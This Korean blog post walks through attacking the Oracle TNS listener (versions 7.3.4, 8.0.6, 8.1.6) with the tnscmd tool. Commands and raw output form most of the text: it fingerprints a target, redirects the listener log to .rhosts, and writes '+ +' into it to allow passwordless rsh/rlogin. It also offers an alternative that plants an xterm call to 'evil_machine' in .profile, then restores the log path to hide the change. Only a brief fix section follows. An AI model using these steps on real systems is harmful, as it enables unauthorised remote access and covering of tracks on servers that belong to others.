태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

오라클 리스너 해킹

ⓒ Network 2007.11.25 12:16

Oracle 릴리즈 7.3.4 (2.3.4), 8.0.6, 그리고 8.1.6 버전의 tnslsnr 버그를 이용한 해킹법

※ 첨부파일1: 해킹/테스트를 위한 프로그램 소스
※ 첨부파일2: 실행 프로그램

※ 사용법: (해킹시연)

1. Oracle Version을 확인

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -v

.M.......6.........-. ..........(DESCRIPTION=(TMP=)(VSNNUM=134242304)(ERR=0)).R.
.......TNSLSNR for HPUX: Version 8.0.6.0.0 - Production..TNS for HPUX: Version 8
.0.6.0.0 - Production..Unix Domain Socket IPC NT Protocol Adaptor for HPUX: Vers
ion 8.0.6.0.0 - Production..Oracle Bequeath NT Protocol Adapter for HPUX: Versio
n 8.0.6.0.0 - Production..TCP/IP NT Protocol Adapter for HPUX: Version 8.0.6.0.0
- Production,,.........@

=> Oracle 릴리즈 7.3.4 (2.3.4), 8.0.6, 그리고 8.1.6 이면 취약한 버전임

2. Status Command로 로그파일 Path 확인

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -t

. .......6.........5. ...........?........(DESCRIPTION=(TMP=)(VSNNUM=134242304)(
ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for HPUX: Version 8.0.6.0.0
- Production)(START_DATE=16-MAY-01 08:20:58)(SIDNUM=1)(LOGFILE=/APP/oracle8/net
work/log/listener.log)(PRMFILE=/APP/oracle8/network/admin/listener.ora)(TRACING=
off)(UPTIME=4680755)(SNMP=OFF)).M........(SERVICE_DESC=(SID=ORAINFRA)(NUM=5)(REG
=0)(SREG=0)(GBN=ORAINFRA)),,.........@

=> 로그 파일 경로명이 /APP/oracle8/network/log/listener.log 로 설정되어 있음을 볼 수 있음

3. 로그파일을 임의의 파일로 변경

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -l /APP/oracle8/.rhosts

.q......"..e(DESCRIPTION=(TMP=)(VSNNUM=134242304)(ERR=0)(COMMAND=log_file)(LOGFI
LENAME=/app/oracle8/.rhosts.log))

4. Status Command로 로그파일이 변경되었는지 Path 확인

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -t
. .......6.........$. ....................(DESCRIPTION=(TMP=)(VSNNUM=134242304)(
ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for HPUX: Version 8.0.6.0.0
- Production)(START_DATE=16-MAY-01 08:20:58)(SIDNUM=1)(LOGFILE=/APP/oracle8/.rh
osts)(PRMFILE=/APP/oracle8/network/admin/listener.ora)(TRACING=off)(UPTIME=46929
66)(SNMP=OFF)).M........(SERVICE_DESC=(SID=ORAINFRA)(NUM=5)(REG=0)(SREG=0)(GBN=O
RAINFRA)),,.........@

=> 로그 파일 경로명이 /app/oracle8/.rhosts 로 변경되어 있는 것을 볼 수 있음

5. "+ +" 을 .rhosts에 삽입

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -i "+ +"
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=134242304)(ERROR_STACK=(ERROR=(CODE=1
153)(EMFI=4)(ARGS='(CONNECT_DATA=((.+ +'))(ERROR=(CODE=303)(EMFI=1))))

(혹은 .profile에 "/usr/bin/X11/xterm -display evil_machine:0.0 &" 삽입)

6. rsh, rlogin, rexec를 통해 do something....

7. 원상복귀

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -l /APP/oracle8/network/log/listener.log
.~......"..r(DESCRIPTION=(TMP=)(VSNNUM=134242304)(ERR=0)(COMMAND=log_file)(LOGFI
LENAME=/app/oracle8/network/log/listener.log))

8. 원상복귀 확인

D:Project2001testtnslsnrDebug>tnscmd 101.1.1.39 1521 -t
. .......6.........5. ...........?........(DESCRIPTION=(TMP=)(VSNNUM=134242304)(
ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for HPUX: Version 8.0.6.0.0
- Production)(START_DATE=16-MAY-01 08:20:58)(SIDNUM=1)(LOGFILE=/APP/oracle8/net
work/log/listener.log)(PRMFILE=/APP/oracle8/network/admin/listener.ora)(TRACING=
off)(UPTIME=4713315)(SNMP=OFF)).M........(SERVICE_DESC=(SID=ORAINFRA)(NUM=5)(REG
=0)(SREG=0)(GBN=ORAINFRA)),,.........@

< 해결책 >

1. lsnrctl의 SET PASSWORD 명령을 사용하여 tnslsnr에 패스워드를 설정하여야 한다.

2. Oracle의 MetaLink (http://metalink.oracle.com/)로 부터 시스템에 적절한 Patch를 설치한다
(listener 프로그램에 대한 버그 번호 1361722 참조). 또한 다음 URL에서 Oracle Technology
Network에 이 문제에 대한 Security Alert!을 구할 수 있다.

http://otn.oracle.com/deploy/security/alert!s.htm
http://otn.oracle.com/deploy/security/pdf/listener_alert!.pdf

Trackback 0 : Comment 1
  1. Favicon of http://mm89.tistory.com BlogIcon 선문기 2016.03.30 14:11 신고 Modify/Delete Reply

    첨부파일의 내용좀 보내주실수 잇나요?? 첨부파일 내용이 안보여서요

Write a comment

티스토리 툴바